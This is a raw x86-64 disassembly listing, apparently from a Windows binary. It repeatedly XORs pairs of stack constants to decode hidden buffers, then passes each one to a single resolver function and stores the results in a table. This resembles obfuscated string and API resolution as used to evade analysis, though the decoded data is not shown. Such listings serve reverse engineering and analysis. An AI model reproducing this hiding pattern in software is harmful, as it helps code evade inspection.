lea rax, [rbp + 0x4950]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140042d40
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x4950]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1e0], rax
movabs rax, 0x19d79130c23b8b1
mov qword [rbp + 0x93e0], rax
movabs rax, 0x124b9f2795f0ee6b
mov qword [rbp + 0x93e8], rax
mov qword [rbp + 0x93f0], r15
movabs rcx, 0xe0000000200211d1
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x64ef0b664f57ddf6
mov qword [rbp + 0x9420], rax
movabs rax, 0x762afa55fda49a05
mov qword [rbp + 0x9428], rax
mov qword [rbp + 0x9430], r15
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x35b0]
lea rcx, [rbp + 0x120]
mov rdx, r12
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140042eb0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x35b0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1e8], rax
movabs rax, 0x8c2fd2b679c839a
mov qword [rbp + 0x93e0], rax
movabs rax, 0x49739840f78b7f3
mov qword [rbp + 0x93e8], rax
movabs rax, 0x14500f85aa55f7d6
mov qword [rbp + 0x93f0], rax
movabs rax, 0x59fdc7cbf6bad3fe
mov qword [rbp + 0x93f8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7eab894826e8e6dd
mov qword [rbp + 0x9420], rax
movabs rax, 0x77e45ce7600ae796
mov qword [rbp + 0x9428], rax
movabs rax, 0x57207aead81285b9
mov qword [rbp + 0x9430], rax
movabs rax, 0x59fdc7cb82d4a691
mov qword [rbp + 0x9438], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x66f0]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140043010
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x66f0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1f0], rax
movabs rax, 0x184c7d3d3f11289b
mov qword [rbp + 0x93e0], rax
movabs rax, 0x16d93a5d337cfb22
mov qword [rbp + 0x93e8], rax
movabs rax, 0x6f0eed670250309
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x1a0681e75f7c0b54
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6e25095e7e654ddc
mov qword [rbp + 0x9420], rax
movabs rax, 0x65aa5f3e5c0eab47
mov qword [rbp + 0x9428], rax
movabs rax, 0x68480a31f667166
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x50b0]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140043190
lea r8, [rbp + 0x50b0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1f8], rax
movabs rax, 0x1a43ae5116587ad7
mov qword [rbp + 0x93e0], rax
movabs rax, 0x14cfd105f6597b54
mov qword [rbp + 0x93e8], rax
movabs rax, 0x2efe246cc6e00fe
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x8ace78cdb40b77c
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7b26dc39422c1f84
mov qword [rbp + 0x9420], rax
movabs rax, 0x728ea170992b3c30
mov qword [rbp + 0x9428], rax
movabs rax, 0x2ef9b32a5006998
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x4ac0]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400432e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x4ac0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x200], rax
movabs rax, 0x9bd07af0d7de747
mov qword [rbp + 0x93e0], rax
movabs rax, 0x78b794638edb982
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1c2c5bb3ad
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x50623ed17da
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6ccf75da4e098200
mov qword [rbp + 0x9420], rax
movabs rax, 0x74ee1a294abdcdec
mov qword [rbp + 0x9428], rax
movabs rax, 0x1c2c3ffade
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x4140]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140043470
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x4140]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x208], rax
movabs rax, 0x10e6e3bf71c8c2c8
mov qword [rbp + 0x93e0], rax
movabs rax, 0x3e6ad225451e00
mov qword [rbp + 0x93e8], rax
movabs rax, 0x39432b73efa51e5
mov qword [rbp + 0x93f0], rax
movabs rax, 0x697041fb3e07525c
mov qword [rbp + 0x93f8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x79928ad138a4b69a
mov qword [rbp + 0x9420], rax
movabs rax, 0x694c29b75f2c7261
mov qword [rbp + 0x9428], rax
movabs rax, 0x60f161db5f993891
mov qword [rbp + 0x9430], rax
movabs rax, 0x697041fb50683b28
mov qword [rbp + 0x9438], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x68c0]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400435f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x68c0]
mov rbx, qword [rbp - 0x38]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x210], rax
movabs rax, 0xb9c1480e35f4938
mov qword [rbp + 0x93e0], rax
movabs rax, 0x197843e59e250aa
mov qword [rbp + 0x93e8], rax
movabs rax, 0xe6feedd8f1af33a
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x16d7023a97236163
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6eea75e5af333d6a
mov qword [rbp + 0x9420], rax
movabs rax, 0x6df6e7572d8b22e9
mov qword [rbp + 0x9428], rax
movabs rax, 0xe0181b4fb799669
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x5230]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140043770
lea r8, [rbp + 0x5230]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x218], rax
movabs rax, 0xb52ced5a1c098d4
mov qword [rbp + 0x93e0], rax
movabs rax, 0x1ac3454e1e2a37d3
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1307a6b7863b9d2e
mov qword [rbp + 0x93f0], rax
movabs rcx, 0xabe1538fd4570df
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7937babbe4acec86
mov qword [rbp + 0x9420], rax
movabs rax, 0x76a226276a434590
mov qword [rbp + 0x9428], rax
movabs rax, 0x1369c9def258f87d
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x53b0]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400438c0
lea r8, [rbp + 0x53b0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x220], rax
movabs rax, 0x1c3b2b2483dae23
mov qword [rbp + 0x93e0], rax
movabs rax, 0x22aaf7f82b3fae7
mov qword [rbp + 0x93e8], rax
mov qword [rbp + 0x93f0], r15
movabs rcx, 0xe0000000200231e8
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6ea7c6c7206eda6d
mov qword [rbp + 0x9420], rax
movabs rax, 0x6f4fdb0cfbe09490
mov qword [rbp + 0x9428], rax
mov qword [rbp + 0x9430], r15
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x34a0]
lea rcx, [rbp + 0x120]
mov r8, r12
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r8, 1
jne 0x140043a00
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x34a0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x228], rax
movabs rax, 0x1cd92645ba6ee958
mov qword [rbp + 0x93e0], rax
movabs rax, 0x11edf05b2849e00e
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1fffffffe027c45e
mov qword [rbp + 0x93f0], rax
movabs rcx, 0xe00000001fda01dc
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x69885420c93b9d16
mov qword [rbp + 0x9420], rax
movabs rax, 0x7e899e327f30926b
mov qword [rbp + 0x9428], rax
movabs rax, 0x1fffffffe027c429
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x3c60]
lea rcx, [rbp + 0x120]
mov r8, r12
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r8, 1
jne 0x140043b60
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x3c60]
mov rdx, qword [rbp - 0x48]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x230], rax
movabs rax, 0xb27ba52484e1eba
mov qword [rbp + 0x93e0], rax
movabs rax, 0x71492a8ca838f9ce
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x7946f822380f56e9
mov qword [rbp + 0x9400], rax
movabs rax, 0x712c4deddb4b9c83
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x120], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x130], xmm2
lea rax, [rbp + 0x33a0]
lea rcx, [rbp + 0x120]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r12, 1
jne 0x140043c60
lea r8, [rbp + 0x33a0]
mov rdx, qword [rbp - 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x238], rax
mov byte [rsi + 0x250], r14b
mov rax, qword [0x1402007b8]
mov qword [rsi + 0x70], rax
movabs rax, 0x1f20aa3040802190
mov qword [rbp + 0x120], rax
movabs rax, 0xb884f0fa3975674
mov qword [rbp + 0x128], rax
movabs rax, 0x1699f99ae9888870
mov qword [rbp + 0x130], rax
movabs rax, 0x1ad3004cb18fd20b
mov qword [rbp + 0x138], rax
movabs rax, 0x2f28916cf2840c0
mov qword [rbp + 0x140], rax
movabs rax, 0x7f6eb9e2855ac688
mov qword [rbp + 0x148], rax
movabs rax, 0x1a7d2e57cab14fc0
mov qword [rbp + 0x150], rax
movabs rax, 0xb0d77028951b5d3
mov qword [rbp + 0x158], rax
movabs rax, 0x2abcc030f0
mov qword [rbp + 0x160], rax
movabs rcx, 0x7cc0e6c1f06
mov qword [rbp + 0x168], rcx
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
xorps xmm10, xmm10
xorps xmm11, xmm11
movabs rax, 0x6652cf4531a201eb
mov qword [rbp + 0x1c0], rax
movabs rax, 0x7fe16f7481b76c56
mov qword [rbp + 0x1c8], rax
movabs rax, 0x73e980eec1fbe515
mov qword [rbp + 0x1d0], rax
movabs rax, 0x73a82065c8e1b331
mov qword [rbp + 0x1d8], rax
movabs rax, 0x4c86fb79a75b60a4
mov qword [rbp + 0x1e0], rax
movabs rax, 0x4d09cf83a53fabe9
mov qword [rbp + 0x1e8], rax
movabs rax, 0x3a184d3eb8e127f4
mov qword [rbp + 0x1f0], rax
movabs rax, 0x2b705771ec21cca7
mov qword [rbp + 0x1f8], rax
movabs rax, 0x2abcbd128d
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm6, xmm6
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x93e0], xmm0
movdqa xmm1, xmmword [rbp + 0x1d0]
pxor xmm1, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x93f0], xmm1
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x9400], xmm0
movdqa xmm1, xmmword [rbp + 0x1f0]
pxor xmm1, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x9410], xmm1
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x9420], xmm0
pxor xmm2, xmm7
movdqa xmmword [rbp + 0x9430], xmm2
pxor xmm3, xmm8
movdqa xmmword [rbp + 0x9440], xmm3
pxor xmm4, xmm9
movdqa xmmword [rbp + 0x9450], xmm4
pxor xmm5, xmm10
movdqa xmmword [rbp + 0x9460], xmm5
pxor xmm11, xmm6
movdqa xmmword [rbp + 0x9470], xmm11
lea rax, [rbp + 0x120]
lea rcx, [rbp + 0x93e0]
lea edx, [r12 + 8]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
